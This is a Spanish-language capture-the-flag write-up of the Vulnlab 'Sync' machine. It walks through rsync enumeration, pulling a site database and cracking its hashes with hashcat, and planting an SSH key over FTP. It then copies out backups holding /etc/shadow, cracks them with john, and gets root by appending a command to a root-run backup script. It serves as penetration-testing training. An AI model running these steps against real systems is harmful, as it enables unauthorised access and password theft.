# Sync - Writeup (Vulnlab)

## NMAP

Arrancamos haciendo un rápido reconocimiento de puertos y servicios con *NMAP*, dando el siguiente resultado:

```bash
PORT    STATE SERVICE VERSION

21/tcp  open  ftp     vsftpd 3.0.5
22/tcp  open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http    Apache httpd 2.4.52 ((Ubuntu))
873/tcp open  rsync   (protocol version 31)
```

## Port 80/TCP

Revisando el puerto **80** no logro inyectar ni obtener nada relevante. Siguiendo con los demas puertos en el **21** de **FTP** directamente no acepta ***Anonymous*** user asi que me enfoco en el puerto de **RSYNC** el **873/tcp**

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753978797728/cea997fc-1be4-47cc-9661-66744876f91d.png align="center")

## 873/TCP | ¿Que es el RSYNC?

RSync es una herramienta de sincronización versátil y ampliamente utilizada, especialmente en sistemas Linux y Unix-like. Es popular debido a su flexibilidad y capacidad para sincronizar archivos a través de redes. Viene pre-instalado en la mayoría de las distribuciones de Linux y su sintaxis es similar a otras herramientas como ssh, scp y cp.

> **Referencia util para pentesting rsync HackTricks:** [https://book.hacktricks.xyz/network-services-pentesting/873-pentesting-rsync](https://book.hacktricks.xyz/network-services-pentesting/873-pentesting-rsync)

Podemos realizar algunas consultas desde la terminal para obtener algo de información al respecto:

```bash
nc 10.10.93.109 873 -vn
@RSYNCD: 31.0 <-------------- Le enviamos exactamente lo mismo que nos responde
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753978839247/95eedf81-6f4e-4672-a0c9-9b7cf827cb39.png align="center")

No podemos hacer mucho ya que cierra la conexion, pero vamos a usar la aplicacion rsync para enumerar y obtener info mas detallada:

```bash
rsync -av --list-only rsync://10.10.93.109/httpd/
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753978857024/f2c234d1-165a-44a0-835e-2fce0b757b1c.png align="center")

Ahora que podemos ver con más detalle, suena interesante el output. Vamos a probar lo siguiente:

```bash
rsync -av rsync://10.10.93.109/httpd/www/index.php .
```

De este modo me lo bajo a la carpeta actual donde estoy localmente.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753978899708/20e39b8b-8932-4825-a905-8dd3df4886d8.png align="center")

Dentro podemos resaltar algunas cosas interesantes en principio el hash **$secure**:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753978914488/6e09c16b-01bd-4d26-a2bb-2c62d18a5df0.png align="center")

  

Si bajamos la base de datos en **db/site.db**:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753978926397/df8741d2-e25f-460e-9908-b2684b7b8caa.png align="center")

Vemos los usuarios **admin** y **triss** con sus respectivos hashes.

## HASHCAT

Tiempo de crackear, y vamos a hacerlo con la información que tenemos.

* Tenemos el Hash de la base de datos
    
* Tenemos el Hash de **$secure**
    
* Tenemos los nombre de usuarios
    

Si intento crackear el user de **<s>admin</s>**  no obtengo respuesta. Sin embargo si tenemos éxito con **TRISS**. Lo primero es crear un archivo con todo el contenido y construirlo en el formato adecuado para hashcat. Seria algo asi:

```bash
<HASH_DB>:<HASH_SECURE>|<user>|
```

Sabiendo esto, procedemos a crackearlo con Hashcat:

```bash
hashcat -m 20 hash.txt ~/w0rd/rockyou.txt
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753978964282/2bc2d9db-1a89-4d41-9f62-1959dffb3686.png align="center")

# USER TRISS

Si probamos las credenciales via web. No conseguimos mucho más que un portal con un **CPU LOAD**.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753978980618/bcf4e32b-bf98-40e2-adcb-2ae1176334d1.png align="center")

Si probamos via **SSH**:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753978997341/3fff07ba-f5e6-4097-83fb-852a3445bda9.png align="center")

Sera entonces **FTP**:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753979006784/52afa38b-4f6d-4f69-94d2-f60620c0c10f.png align="center")

Efectivamente logueamos. Y al entrar de primera no veremos nada interesante a menos que:

```bash
ls -alh
```

```bash
ftp> ls -alh

227 Entering Passive Mode (10,10,93,109,186,233).
150 Here comes the directory listing.

drwxr-x---
drwxr-x---
2 1003
2 10031003
10034096 Apr 21 2023 .
4096 Apr 21 2023 ..
lrwxrwxrwx 1 0
-rw-r--r-- 1 10030
10039 Apr 21 2023 .bash_history - /dev/null
220 Apr 19 2023 .bash_logout
-rw-r--r--
-rw-r--r--1003
10033771 Apr 19 2023 .bashrc
807 Apr 19 2023 .profile
1 1003
1 1003
226 Directory send OK.
```

Luego de un rato de no encontrar nada interesante, pienso que al ser una estructura similar a la de un home-folder de linux, podría intentar crear un acceso vía SSH, para algo es que esta ese puerto accesible y además el “permission denied” anterior me da indicios..

  

## SSH Access

La idea es generar unas keys de **SSH** mediante el comando **ssh-keygen**, y luego subirla via **FTP**, previamente, creo la carpeta **.ssh/**, finalmente, termino logueando, el comando para subir archivos desde **FTP** es **PUT**:

```bash
mkdir .ssh
cd .ssh/
put authorized_keys
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753979044792/b4c65cae-73f7-4087-83c1-9c3c7a3744f8.png align="center")

Funciona y logueo correctamente vía SSH. Enumerando y deambulando por el host, tenemos un backup en el path: /backup. Procedemos a correr un python server y descargar todos los .zip.

```bash
triss@ip-10-10-200-238:/backup$ python3 -m http.server 8000
```

Desde nuestra maquina atacante hacemos:

```bash
wget -r http://10.10.93.109:8000/
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753979059673/dc6ab8fc-cda6-4fd1-a4d3-2a4f9bfb62f6.png align="center")

Y finalmente descomprimimos todos los backup files:

```bash
unzip "*.zip"
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753979074454/70af435e-3cdf-43dc-8519-b9af2ebf3eae.png align="center")

Teniendo el archivo **passwd** y **shadow** podemos hacer lo siguiente para posteriormente crackearlo:

```bash
unshadow passwd shadow >crackme
```

## Usando John The Ripper

Lo rompemos con el siguiente comando:

```bash
john --format=crypt crackme --wordlist=~/b0x/w0rd/rockyou.txt
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753979108505/eb9615bd-75c0-40d9-8b9a-2f05290248ab.png align="center")

## Logueando como Jennifer (USER.txt)

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753979126390/7c7b2c52-9815-4fdf-9225-75ea58368349.png align="center")

Sacamos **user.txt** y luego:

```bash
su sa
```

## SA user hacia ROOT

Esta parte es muy sencilla. Subiendo el **linpeas**, me indica que hay un archivo que podemos modificar porque somos propietarios y está ubicado en **/usr/local/bin/**[**backup.sh**](http://backup.sh):

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753979148614/3e69afbc-b360-42f2-ade4-864b65fcf95a.png align="center")

> <mark>backup.sh</mark>

```bash
#!/bin/bash
mkdir -p /tmp/backup
cp -r /opt/httpd /tmp/backup
cp /etc/passwd /tmp/backup
cp /etc/shadow /tmp/backup
cp /etc/rsyncd.conf /tmp/backup
zip -r /backup/$(date +%s).zip /tmp/backup
rm -rf /tmp/backup
```

Podríamos generar una revshell, pero voy a hacerlo más fácil. Simplemente voy a catear la flag considerando que cuando esto se ejecute será con privilegios elevados. Al final del archivo [backup.sh](http://backup.sh) le agrego lo siguiente:

```bash
cat /root/root.txt >/tmp/flag.txt
```

Y finalmente, en breve obtendremos la **flag.txt** en **/tmp/flag.txt**.
